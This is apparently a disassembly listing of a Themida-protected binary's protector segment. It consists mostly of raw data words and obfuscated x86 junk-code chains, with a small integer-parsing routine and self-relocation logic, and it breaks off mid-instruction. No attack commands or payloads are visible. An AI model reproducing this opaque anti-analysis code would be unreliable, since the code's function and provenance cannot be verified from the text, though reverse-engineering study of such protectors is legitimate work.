0E19D8BFCh dd 0B9060B07h, 3CEB60E2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0CAC35040h, 958BDE44h, 60B1685h, 15299D09h dd 3F83060Bh, 60840F00h, 3000000h, 0B2F499Dh, 0E80F3006h dd 11h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h, 80547641h, 7E959h dd 97B20000h, 0F561AEAAh, 0C9D15A97h, 8147D78Bh, 0B7FFA7CBh dd 0E9D18B47h, 0FFFFFFBAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0A5C35747h, 0A18D8959h, 83060B29h, 850F05F8h dd 79h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 5EC35747h, 0B7B5F995h, 0E9A9827Bh, 0Dh, 39E78E0Ch, 2D7A322Dh dd 0AC71B135h, 0D98C6627h, 31D58529h, 0C1F6060Bh, 1C850F04h dd 8B000000h, 0B067995h, 0B806h, 85890000h, 60B2981h, 1CE9h dd 0B5BD8900h, 8B060B06h, 0B188185h, 6880F06h, 89000000h dd 0B08A18Dh, 8BE0FF06h, 4DBD83D3h, 60B2Fh, 7F850Fh, 820F0000h dd 6, 12C59589h, 5050060Bh, 0FD08B52h, 0E4BA6631h, 89585A90h dd 66572404h, 178DEB81h, 4585C65Bh, 45060B28h, 1B099D23h dd 1068060Bh, 81E47A5Fh, 36792434h, 820F6A08h, 6, 322D8D89h dd 0B5FF060Bh, 60B0B01h, 858DD18Ah, 60B390Dh, 0E6A4B6BAh dd 0E9D0FF5Ah, 0Fh, 0C55C7E3Ah, 0B82F18F2h, 4B3D8A00h dd 89D3BE22h, 0B2F4D85h, 8958FC06h, 0B02A995h, 0CBBD8306h dd 60B4Dh, 56840Fh, 840F0000h, 23h, 12E8h, 7ACC5100h, 0AF49A07h dd 0FAD7A3AAh, 0BFCE4CCFh, 0E9E83E56h, 6, 0D41B1418h, 0FF5A2DE1h dd 0B0655B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0FF3D7688h, 0B2F4D95h, 0D6B70F06h dd 0F00F883h, 13185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0D88BA1FDh, 899BD83h dd 0F00060Bh, 6D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 10E680FAh, 0FFDFB70Fh dd 0B0899B5h, 0B8E0B706h, 1, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0A0C35242h, 0F81ABE7h, 682h dd 0C5F38100h, 0FC4E63AEh, 262E9h, 78A0F00h, 50000000h dd 0CEDB8166h, 0B5FF5A0Fh, 60B0655h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 43C35646h, 21AB4772h, 0F09B589h dd 0B5FF060Bh, 60B0655h, 0B5FFF58Ah, 60B2F4Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 0FE871015h dd 8CA502D5h, 0D178B860h, 840F4174h, 3, 611AC580h, 1E2E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 7A45DE4Bh, 8A576566h, 0F5F5BF8h, 184h, 0BD83F800h dd 60B0BD9h, 34850F00h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2839C351h dd 6830F82h, 9000000h, 0B1659B5h, 2EBB6606h, 0C6FE8A4Eh dd 0B284585h, 0AE94D06h, 57000000h, 0A3A12D6Eh, 0A9046414h dd 1D8D0127h, 0E8060B21h, 4, 0A43576A8h, 50D18B66h, 0C628BB66h dd 424448Bh, 754FD7BBh, 50008B1Fh, 0FD98B52h, 11E95331h dd 76000000h, 192B45C9h, 676C82A4h, 2EF93C46h, 0E8BA0E07h dd 89585A5Ah, 0E8042444h, 8, 0AC1E37D9h, 0AAFF8A4Ah, 0A7D111BAh dd 6A585B41h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 2700C350h, 0EA757DF5h, 188D9D23h dd 0B5FF060Bh, 60B0315h, 43A569BAh, 0D858D4Fh, 6A060B39h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 4525C353h, 53AD2E7Fh, 0FE960h, 7360000h dd 77C683C6h, 914166Ah, 15F632D1h, 0CE816690h, 0FF615069h dd 0C58589D0h, 89060B15h, 0B0BD985h, 7E806h, 24290000h dd 16A046E3h, 0FB9DBB02h, 0B85A29D7h, 0 dd 2DF19D89h, 0BD89060Bh, 60B4D74h, 1A4D8D09h, 0C00B060Bh dd 11840Fh, 0BD890000h, 60B0B4Dh, 4AE9h, 0DD952900h, 0FF060B21h dd 0B2F4DB5h, 958B5006h, 60B0C0Dh, 0F9858D5Bh, 80060DA5h dd 5050FFE7h, 12E852h, 0DF640000h, 0F942D090h, 0BEF92C04h dd 89D3CE78h, 24DE4860h, 24D0BB66h, 57310F5Bh, 5A5A46B2h dd 24048958h, 50D88B66h, 0E3BD8D56h, 8D060B54h, 0B7AA48Dh dd 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh dd 60B0899h, 8B067400h, 0B03018Dh, 0B8C93306h, 0 dd 840FC00Bh, 99h, 2F21BD83h, 7400060Bh, 1D95FF06h, 0B8060B10h dd 0 dd 975C00Bh, 4D7CBD83h, 7401060Bh, 7CBD8309h, 2060B4Dh dd 0B58B0E75h, 60B4D74h, 0A5F9858Dh, 0D0FF060Dh, 41D1858Dh dd 0D0FF060Bh, 1FDDBD83h, 7502060Bh, 2DA58B2Fh, 8B060B10h dd 0B089985h, 24048906h, 67D85C7h, 1060Bh, 0B58B0000h dd 60B4D78h, 217DAD8Bh, 1B8060Bh, 0C2000000h, 0EB000Ch dd 67D85C7h, 1060Bh, 0A58B0000h, 60B102Dh, 2891B58Bh, 0AD8B060Bh dd 60B217Dh, 0CC2C033h, 21BD8300h, 60B00h, 0BD830F74h dd 60B05B5h, 0FF067400h, 0B05B595h, 74B58B06h, 0C3060B4Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 85C35141h dd 92BED3F5h, 8D896908h, 60B103Dh, 0BAF5h, 11E80000h, 0EC000000h dd 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh, 5BB8F8BAh db 77h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_543C82 ; --------------------------------------------------------------------------- loc_543C80: ; CODE XREF: Themida_:00543C85j inc eax inc edi loc_543C82: ; CODE XREF: Themida_:00543C7Ej cmp byte ptr [edi], 0 jnz short loc_543C80 xor ecx, ecx mov edi, [ebp+8] jmp short loc_543CB1 ; --------------------------------------------------------------------------- loc_543C8E: ; CODE XREF: Themida_:00543CB3j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_543CA6 ; --------------------------------------------------------------------------- loc_543CA3: ; CODE XREF: Themida_:00543CA9j mul ebx dec esi loc_543CA6: ; CODE XREF: Themida_:00543CA1j cmp esi, 0 ja short loc_543CA3 pop ebx add ecx, eax pop eax inc edi dec eax loc_543CB1: ; CODE XREF: Themida_:00543C8Cj or eax, eax jnz short loc_543C8E mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0E9h dd 0Ch, 8DD79C37h, 403D9135h, 3D740481h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 40C35040h, 1ED8C1B4h dd 0C5ABBB66h, 0D5E9C18Bh, 2800021Fh, 34025900h, 3F005AB9h dd 68025900h, 12FFh, 26000000h, 26005ABEh, 46005ABEh, 2000002h dd 1000000h, 5000000h, 0A4000000h, 0FA48C0h, 4 dup(0) dd 53000000h, 88005470h, 1005460h, 0EB0054E0h, 40005470h dd 0EB0054E2h, 960054CAh, 0FC0054A6h, 0E8005481h, 0C00054F2h dd 910054AAh, 0C70054DDh, 0B600546Eh, 86005451h, 0BF0054B5h dd 9D0054CDh, 0B2005459h, 0D30054ECh, 0F00054C9h, 9D005483h dd 910054B5h, 9700548Fh, 0FD0054F5h, 9E005470h, 0FC005489h dd 0F9005441h, 7700546Ch, 83005498h, 0A1005448h, 680054CBh dd 0F80054C7h, 0C00054B4h, 490054BEh, 1A005445h, 0D50054DCh dd 0F400545Eh, 5A00548Ch, 0C8005484h, 0B3005442h, 0FA0054D7h dd 5E005472h, 5A0054E0h, 330054E6h, 0BE0054FDh, 54C2h dd 0D1005477h, 9F0054F1h, 6B005470h, 830054D9h, 690054EBh dd 6C0054EFh, 2A0054A8h, 0E70054BAh, 650054E3h, 83005484h dd 80054D6h, 6B005489h, 3B0054E6h, 0DD0054A2h, 7B0054B9h dd 0CB0054C2h, 48005457h, 32005440h, 0EC00547Dh, 0F0005441h dd 1E005478h, 0AA0054B0h, 0F80054DAh, 550054F9h, 0D10054F3h dd 72005466h, 0F60054A3h, 44005485h, 0CB0054D2h, 0A2005448h dd 70005444h, 0F900546Eh, 8C0054A4h, 62005474h, 0FA00547Ch dd 19005449h, 47005461h, 0C40054E7h, 8400548Bh, 9E005491h dd 660054A7h, 400054E0h, 0BD005473h, 77005449h, 6300547Fh dd 8500546Bh, 2D0054ECh, 0C5005495h, 0F2005441h, 5C00547Eh dd 0D0054BEh, 3D0054A3h, 6D005458h, 0A10054DBh, 0ED0054EAh dd 0F005462h, 94005482h, 750054F4h, 4F005466h, 0A9005448h dd 50054C4h, 70054A3h, 0CC00546Dh, 4F005467h, 30054C1h dd 0EE005449h, 210054FEh, 33005444h, 200054C1h, 6E0054DEh dd 0CF00544Eh, 0EE0054AEh, 5D00544Fh, 800548Ch, 0D00054CDh dd 27005463h, 33005453h, 0F0054A2h, 0E10054D9h, 540054CFh dd 8C00547Ah, 5800544Fh, 130054F1h, 9E0054A4h, 2B0054BFh dd 0D0005471h, 0B50054B1h, 0CF005479h, 18005451h, 9E005463h dd 990054CAh, 0D3005443h, 640054E3h, 320054B4h, 0AC0054CEh dd 22005464h, 4F005480h, 0BA005471h, 110054E9h, 210054B5h dd 0B20054E2h, 0D2005491h, 5500548Bh, 190054E7h, 350054BCh dd 84005475h, 0FC005486h, 750054A8h, 0DC00544Ch, 17005440h dd 7D0054DBh, 0DC005491h, 87005464h, 58005459h, 510054BBh dd 3E005473h, 9500546Dh, 6E005489h, 86005479h, 63005473h dd 52005440h, 3C005457h db 0D9h, 54h, 0 ; --------------------------------------------------------------------------- loc_543FDB: ; CODE XREF: Themida_:00566676j ; Themida_:0057302Dj ... pusha pushf cld call $+5 pop edi sub edi, 60B7F3Fh mov eax, edi add edi, 60B7C57h cmp eax, [edi+2Ch] jnz short loc_543FF9 jmp short loc_54400C ; --------------------------------------------------------------------------- loc_543FF9: ; CODE XREF: Themida_:00543FF5j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_544008 ; --------------------------------------------------------------------------- loc_544003: ; CODE XREF: Themida_:0054400Aj add [edi+ecx*4+40h], eax dec ecx loc_544008: ; CODE XREF: Themida_:00544001j or ecx, ecx jnz short loc_544003 loc_54400C: ; CODE XREF: Themida_:00543FF7j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_544019: ; CODE XREF: Themida_:00544020j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_544019 loc_544022: ; CODE XREF: Themida_:loc_5445D0j ; Themida_:005448DEj ... lodsb jmp loc_54C5EC ; --------------------------------------------------------------------------- dd 4C581h, 0BEE90000h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544033: ; CODE XREF: Themida_:0054836Bj mov ecx, [esp] add esp, 4 not ecx push edx mov edx, 3B940625h inc edx inc edx jmp loc_546312 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC8351h, 6CCCE9h db 0 ; --------------------------------------------------------------------------- loc_544055: ; CODE XREF: Themida_:00548ED1j mov esp, [esp] jmp loc_54B0DC ; --------------------------------------------------------------------------- aAsK db 'AéÄ',0 dw 0AD00h dd 8904EC83h, 42BD242Ch, 813C4837h, 0B82A3AC5h, 8BE8293Ch dd 0C483242Ch, 793F2D04h, 922D1226h, 11D6F43h, 439205D8h dd 57E91D6Fh, 100005Eh, 0AE959C8h, 8100003Dh, 4C4h, 8BFE0100h dd 0E950243Ch, 5F6Ch ; --------------------------------------------------------------------------- loc_5440AC: ; CODE XREF: Themida_:00544927j pop dword ptr [esp] mov esp, [esp] push 4FACh jmp loc_5480BD ; --------------------------------------------------------------------------- dd 240CFF66h, 0FF5CE99Ch, 481FFFFh, 424h, 24048F00h, 4240481h dd 0E9000000h, 8494h, 240C8B66h, 28B2E9h db 0 ; --------------------------------------------------------------------------- loc_5440E5: ; CODE XREF: Themida_:0054773Dj pop eax jmp loc_544552 ; --------------------------------------------------------------------------- db 0C1h dd 0C28108E2h, 3F1679BEh, 0E70DEA81h, 0D30163B7h, 8124148Bh dd 4C4h, 5431E900h, 0E7810000h, 2E0D5EBCh, 4EC81h, 34890000h dd 95D8E924h, 68570000h, 25A86264h, 4EAEE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54412A: ; CODE XREF: Themida_:0054947Bj and ebp, 68681A2Fh add ebp, 610C25C9h sub ebp, 73186CE1h and ebp, 2D7144ADh not ebp sub ebp, 4E44052Ch sub ebp, 844ABA27h add esi, ebp pop ebp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or eax, eax jz loc_54A337 push dword ptr [edi+1Ch] push 138Ah jmp loc_54D949 ; --------------------------------------------------------------------------- dw 0B951h dd 4946601Ch, 0E959CF01h, 0B5E2h ; --------------------------------------------------------------------------- loc_544188: ; CODE XREF: Themida_:0054EFB4j push ebp jmp loc_547BFA ; --------------------------------------------------------------------------- dw 0EE31h dd 5556D5F7h, 0DEF75D5Eh, 81FFC683h, 0FE1E62E6h, 64F68127h dd 126FA16h, 24348BF3h, 0E9E38953h, 5A91h, 56242C8Bh, 0C681E689h dd 4, 7358E9h, 48B6600h, 0E0895024h, 7D8EBA52h, 0C28150A5h dd 0AF5A8276h, 0D0E9D001h, 6600009Ch, 66240C89h, 0E9C8B60Fh dd 861Eh, 9D1C77FFh, 11665866h, 0E99C2404h, 192Ch, 0E951ADh dd 100001Fh, 0C18158C1h, 2, 31240C33h, 0C33240Ch, 223E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54421A: ; CODE XREF: Themida_:0054ABC8j sub dl, 1Dh jmp loc_54E4FF ; --------------------------------------------------------------------------- dw 805Ah dd 88523AC5h, 5AD088EAh, 81240C8Bh, 4C4h, 8BC33000h, 0C4812404h dd 4, 0D8007E04h, 0E95B7E2Ch, 0B014h, 4C681h, 0E9530000h dd 103Ah, 4B9h, 59CE0100h, 8B243487h, 4312424h, 0B3E99C24h dd 52FFFFFDh, 79ABB53h, 5C3175D1h, 0CBE90424h, 81000086h dd 0BF49B2F5h, 5DE92941h, 0B188C181h, 0C681027Eh, 7C3D5Fh dd 19ACEE81h, 0CE014142h, 8E09E9h, 242C8900h, 0B850E589h dd 8A939D0h, 2503E0C1h, 0B1B5E1Dh, 0F6B20405h, 5C85E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5442BE: ; CODE XREF: Themida_:005493D5j pop edx sub [edi+24h], ebx pop ebx jmp loc_5480B7 ; --------------------------------------------------------------------------- aM0So3 db 'Ź0ŘéO3',0 align 10h dd 4EC81h, 8F540000h, 82E92404h, 290000A4h, 1F8BE9FDh dd 0AF2C0000h, 0AF04E800h, 83240C8Bh, 0C38004C4h, 99A6E9A6h dd 3C890000h, 4EC8324h, 239868h, 24248900h, 4240483h, 8124048Fh dd 42404h, 34FF0000h, 0C4815F24h, 4, 4C781h, 0BE560000h dd 2, 335EF729h, 3C31243Ch, 243C3324h, 6624248Bh, 0E9240489h dd 0FFFFFCDEh, 2784B850h, 0C689316Dh, 5224048Bh, 46E9E289h dd 68000040h, 51DCh, 0FF240C89h, 59042474h, 3708E9h db 0 ; --------------------------------------------------------------------------- loc_544369: ; CODE XREF: Themida_:0054AFA0j mov edx, [esp] add esp, 4 jmp loc_54CE11 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 85B2E900h, 0E9C30000h, 0FFFFFC9Ah dd 2404875Bh, 2A0BE9h, 7E5C100h, 80C3E9h, 241CF600h, 0FC80E99Ch dd 1C31FFFFh, 241C3324h, 2434FF5Ch, 7CE2E9h, 0D0E4B900h dd 0ED817DBCh, 40215BCBh, 0C581CD01h, 40215BCBh, 5DEF8959h dd 536EEF81h, 0A2E929D3h, 68000084h, 25D8276Ch, 8124148Bh dd 4C4h, 0F7D2F700h, 98C281D2h, 89DA27D8h, 2434FFD0h, 4C4815Ah dd 1000000h, 0B420E9C1h, 92050000h, 2D16DF18h, 0F8769FEh dd 8188E95Dh, 0E9550000h, 0A6BFh, 6D2DC581h, 0D5F7050Dh dd 9ED6E9h, 24148600h, 53665266h, 2057E9h, 0ED805900h dd 7F4EE910h, 0F3010000h, 1A48E9h, 24248B00h, 9C240408h dd 0FFFBD9E9h, 0D3F74BFFh, 0A35E9h byte_544450 db 0 ; DATA XREF: ___:off_43CCF4o ; --------------------------------------------------------------------------- loc_544451: ; CODE XREF: Themida_:0054801Dj mov edx, ecx pop ecx push ebp jmp loc_545130 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFFBC2h, 31243C33h, 3C33243Ch, 4895C24h, 40478F24h dd 582434FFh, 68E28952h, 4D21h, 0BB241C89h, 4, 0E904EC83h dd 0B7AEh, 22685966h, 8900002Eh, 4DB3241Ch, 28A2C280h dd 3EA0E9DAh, 34FF0000h, 2434FF24h, 4C48158h, 0E9000000h dd 9202h, 4C481h, 48F0000h, 24248B24h, 9C240421h, 0FFFB59E9h dd 0A9B652FFh, 8007E6C0h, 0EE8048C6h, 27B7E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5444DA: ; CODE XREF: Themida_:0054F735j mov ebx, [esp] jmp loc_548A2A ; --------------------------------------------------------------------------- dw 433h dd 24248B24h, 50241489h, 0FB30E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5444F2: ; CODE XREF: Themida_:005466CCj xchg ebx, ebp not ebx xchg ebx, ebp sub ebp, 0D054CB12h add eax, ebp pop ebp push 5D44h mov [esp], eax xor dword ptr [esp], 779076DAh pop esi jmp loc_54F161 ; --------------------------------------------------------------------------- dw 0C381h dd 68717F8Bh, 0EC81F301h, 4, 0BE243489h, 4AB5923h, 6E1CE81h dd 0EE811DFBh, 0B589E058h, 8B5EF329h, 0C4812434h, 4, 0B849E9h dd 241CF700h, 0FAD0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544552: ; CODE XREF: Themida_:005440E6j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push ecx mov ecx, 5A900364h dec ecx sub ecx, 35A719AFh shr ecx, 2 inc ecx push eax mov eax, 6E3D01D7h sub eax, 28B043E4h add eax, 0E1A29D8Ch jmp loc_54E09F ; --------------------------------------------------------------------------- dw 87BFh dd 1156E46h, 0EF815BDFh, 7CBE5B50h, 5849A02Dh, 5F80167h dd 675849A0h, 4ED2E95Fh, 0D8290000h, 4EC815Bh, 89000000h dd 0EC83241Ch, 24148904h, 0D46F3868h, 0EAC15A11h, 0E9DAF705h dd 83ACh ; --------------------------------------------------------------------------- loc_5445D0: ; CODE XREF: Themida_:00548564j jmp loc_544022 ; --------------------------------------------------------------------------- loc_5445D5: ; CODE XREF: Themida_:0054EDF4j push 6965h mov [esp], edx mov edx, esp push ebx mov ebx, 4 jmp loc_545DDA ; --------------------------------------------------------------------------- loc_5445EA: ; CODE XREF: Themida_:0054DDB0j add esi, eax pop eax jmp loc_54FB59 ; --------------------------------------------------------------------------- dw 0C581h dd 57CE1283h, 0B7EBE9h db 0 ; --------------------------------------------------------------------------- loc_5445FD: ; CODE XREF: Themida_:00546CC3j sub edx, 4A7D3E53h jmp loc_54A831 ; --------------------------------------------------------------------------- dd 8324048Bh, 0DF3104C4h, 0EF81475Bh, 5F2C3A3Dh, 0A798E9h db 0 ; --------------------------------------------------------------------------- loc_54461D: ; CODE XREF: Themida_:00545658j and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_54468E ; --------------------------------------------------------------------------- dd 0C697905h, 8BA5259h, 5733266h, 27C66026h, 818DE9h, 0F8E6800h dd 14890000h, 2474FF24h, 2434FF04h, 4C4815Ah, 8F000000h dd 248B2404h, 24042824h, 4545E99Ch, 55F0000h, 4108842Dh dd 34FFC389h, 54505824h, 0E4E95158h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54467F: ; CODE XREF: Themida_:00549E4Bj pop edi and ecx, edi mov edi, [esp] add esp, 4 push edi jmp loc_54FB0D ; --------------------------------------------------------------------------- loc_54468E: ; CODE XREF: Themida_:0054462Bj mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push eax jmp loc_545A35 ; --------------------------------------------------------------------------- loc_5446A0: ; CODE XREF: Themida_:0054AB05j mov edi, [esp] add esp, 4 pop esi pop esi shr edi, 3 push edx push 16CF2D7Fh pop edx or edx, 6760575Dh jmp loc_54732F ; --------------------------------------------------------------------------- loc_5446C0: ; CODE XREF: Themida_:0054DB3Fj pop eax push eax mov eax, 4 add edi, eax jmp loc_54855A ; --------------------------------------------------------------------------- dw 489h dd 57E08924h, 0AC302668h, 9BE95F66h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5446DF: ; CODE XREF: Themida_:0054E602j mov ecx, ebx pop ebx add [esp+8], ecx pop ecx sub [esp+4], ecx push ecx mov ecx, 55996AB6h sub [esp+8], ecx jmp loc_54FC8F ; --------------------------------------------------------------------------- loc_5446FA: ; CODE XREF: Themida_:0054D9E4j add al, bl pop bx add al, 0AEh add al, 0CDh sub al, ch push ebx mov bh, 43h not bh shr bh, 8 shr bh, 7 inc bh jmp loc_5492F4 ; --------------------------------------------------------------------------- dw 0E981h dd 20B42E57h, 0C181D901h, 20B42E57h, 0F181495Bh, 7261DCDh dd 8141D9F7h, 82CD79E9h, 0E9CE89D2h, 0ACA8h, 83243489h dd 0A66804ECh, 54000074h, 9406E9h, 0EAC15B00h, 3B40E902h dd 34FF0000h, 0C4835F24h, 0FFE83104h, 34FF2434h, 242C8B24h dd 8104C483h, 4C4h, 4C48100h, 68000000h, 1D9h, 0BE243489h dd 587B8E7h, 348BF031h, 5488E924h, 42D0000h, 87000000h dd 0F5E92404h, 890000AEh, 74FF243Ch, 3CE90424h, 2800007Dh dd 0E99F04D0h, 3F7Ch ; --------------------------------------------------------------------------- loc_5447B0: ; CODE XREF: Themida_:0054A207j pop edi add edx, ebx pop ebx push esi push edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 sub edx, 2BDC033Eh add edx, esi add edx, 2BDC033Eh mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp push eax jmp loc_548A47 ; --------------------------------------------------------------------------- loc_5447E1: ; CODE XREF: Themida_:0054E09Aj mov edi, 702E0D46h mov ebx, edi pop edi push ebp mov ebp, 42DF214Bh add ebp, 35084DF7h add ebx, ebp pop ebp and ebx, 55EC57CCh sub ebx, 40045486h add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_548ED6 ; --------------------------------------------------------------------------- db 0BEh, 60h, 25h dd 0F6813A99h, 1C8634BAh, 72BEF681h, 0F7011F72h, 241C8B5Eh dd 3304C483h, 42E9243Ch, 0E90000A5h, 0FFFFF7EAh, 8704EE83h dd 0E95C2434h, 0A07Bh, 0C103E0C1h, 67E902E8h, 0AD000084h dd 0F468D831h, 89000010h, 0EC812434h, 4, 0E9240489h, 9D3Ah dd 2474FF66h, 2C8B6602h, 2C48324h, 24048F66h, 83D5F766h dd 87E902ECh, 6600009Fh, 5224048Bh, 0BEE95A54h, 83000074h dd 6F6804C4h, 8900005Dh, 81E9240Ch, 5300003Bh, 6A62E9h dd 69F8B800h, 502D3710h, 0E9CD7034h, 0A20Eh, 2434875Dh dd 3920E95Ch, 0B8680000h, 89000047h, 0AEE92414h, 0FF0000A6h dd 669D1C77h, 4196658h, 47E99C24h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5448DB: ; CODE XREF: Themida_:0054D037j push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- db 81h dd 17B23AC2h, 87C68109h, 159965Ch, 87EE81D6h, 5A59965Ch dd 6D39E9h db 0 ; --------------------------------------------------------------------------- loc_5448FD: ; CODE XREF: Themida_:0054BF8Fj pop ebp jmp loc_54AD41 ; --------------------------------------------------------------------------- db 0FFh a4Si db '4$éI>',0 db 0 ; --------------------------------------------------------------------------- loc_54490B: ; CODE XREF: Themida_:0054921Fj sub edi, edx pop edx add ebx, 4A60221Ah jmp loc_54804C ; --------------------------------------------------------------------------- loc_544919: ; CODE XREF: Themida_:00547764j sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5440AC ; --------------------------------------------------------------------------- dd 3C39EF81h, 0BE5618CCh, 200D57E4h, 1BC4B850h, 0C6316BAAh dd 0B5E5E9h, 241C8B00h, 4C481h, 0DCE90000h, 89000002h dd 0CB0158C1h, 83240C8Bh, 0E95504C4h, 4881h, 6859C801h dd 6192h, 0BF243C89h, 1748C3DDh, 4EC81h, 2C890000h, 3A6BD24h dd 4E941EAh, 5400001Bh, 0AC57E9h, 0FA295E00h, 2D2AE9h db 0 ; --------------------------------------------------------------------------- loc_544995: ; CODE XREF: Themida_:005484CFj add dword ptr [esp], 62A06B5h pop ecx sub ecx, 62A06B5h jmp loc_54E4BB ; --------------------------------------------------------------------------- dd 3D32BB53h, 0EB814BA4h, 0EF91CFE8h, 555BDF01h, 0A06AE9h dd 2434FF00h, 582434FFh, 5004C483h, 0BD555854h, 4, 0E95DE801h dd 72A9h, 0E9242C89h, 8D6Eh, 20C2814Ah, 0C1200774h, 0F28108E2h dd 0A21E1062h, 148BD629h, 3ED9E924h, 34FF0000h, 2434FF24h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 4 push ecx mov ecx, 6C421703h add ebp, ecx jmp loc_544D03 ; --------------------------------------------------------------------------- dd 815EF229h, 4651D0EAh, 3D32E90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_544A2A: ; CODE XREF: Themida_:0054A943j pop ecx shr eax, 8 xor eax, ecx push eax mov eax, esp add eax, 4 jmp loc_54B8B7 ; --------------------------------------------------------------------------- db 59h, 80h, 0EBh dd 9CEB8021h, 0C380D328h, 91B5519Ch, 0C580DDF6h, 80CDFE6Dh dd 8CE9BAEDh db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544A5B: ; CODE XREF: Themida_:0054F26Dj add esp, 4 jmp loc_5490F3 ; --------------------------------------------------------------------------- loc_544A63: ; CODE XREF: Themida_:0054D787j add bl, 0EDh sub bl, 0C9h sub bl, al push edx mov dh, 0F3h jmp loc_54F591 ; --------------------------------------------------------------------------- loc_544A73: ; CODE XREF: Themida_:00549DE5j or ebx, ebp jmp loc_5490D0 ; --------------------------------------------------------------------------- dw 91B9h dd 1EC6AF2h, 0D82959CBh, 2C68685Bh, 34890000h, 832FBE24h dd 0BF571482h, 1B980434h, 82E9F829h, 81000066h, 0EC4473EBh dd 5BDA2912h, 8107EAC1h, 96987BF2h, 27C68100h, 1184500h dd 27EE81D6h, 5A184500h, 1304E9h, 83E95300h, 100001Ch dd 0C1835EF1h, 240C8704h, 0A649E95Ch, 0F6810000h, 0E051D71Ch dd 0E95EF589h, 0A684h, 0C3815B54h, 4, 0E904C383h, 6AD1h ; --------------------------------------------------------------------------- loc_544AF8: ; CODE XREF: Themida_:0054815Ej not ebp push edx mov edx, 2736C6Fh inc edx xor edx, 32206A00h or edx, 3BEC4433h shl edx, 2 jmp loc_54F3FC ; --------------------------------------------------------------------------- db 81h, 0CBh, 0EAh dd 811EFD2Dh, 0AE78A5E3h, 67EB817Eh, 876079F3h, 858EE9D3h dd 15B0000h, 0E9535DE8h, 0A339h, 0F32FF2BFh, 4F63E956h dd 0EE810000h, 4, 5C243487h, 3264E9h db 0 ; --------------------------------------------------------------------------- loc_544B51: ; CODE XREF: Themida_:005471EBj mov esp, [esp] sub esp, 4 jmp loc_54F272 ; --------------------------------------------------------------------------- db 81h dd 0D73285EBh, 81C3290Bh, 4ECh, 2CEFE900h, 0ABE90000h dd 57FFFFF4h, 0FA499DBFh, 89F78134h, 8127D54Eh, 0FB33AAC7h dd 5FF9313Ch, 90E9E9h, 2434FF00h, 4C4835Ah, 51E78957h dd 2212E9h, 6800h, 3C290000h, 0BB535F24h, 29206C57h, 34A7E9h dd 0C9E95700h, 5F000028h, 0D468E8D1h, 8900000Dh, 72BF243Ch dd 315D5132h, 0E3355FF8h, 814CD298h, 0EE0E4EC5h, 81C5012Bh dd 0EE0E4EEDh, 0BE56582Bh, 2, 0E95EF501h, 8E7Dh, 83240C8Bh dd 48F04C4h, 24248B24h, 0FFF421E9h db 0FFh ; --------------------------------------------------------------------------- loc_544C01: ; CODE XREF: Themida_:0054A393j mov [esp], ebx jmp loc_547E75 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd offset byte_5847E9 db 0 ; --------------------------------------------------------------------------- loc_544C11: ; CODE XREF: Themida_:005475ABj xor ecx, ebx xor ebx, ecx xor ecx, ebx xchg 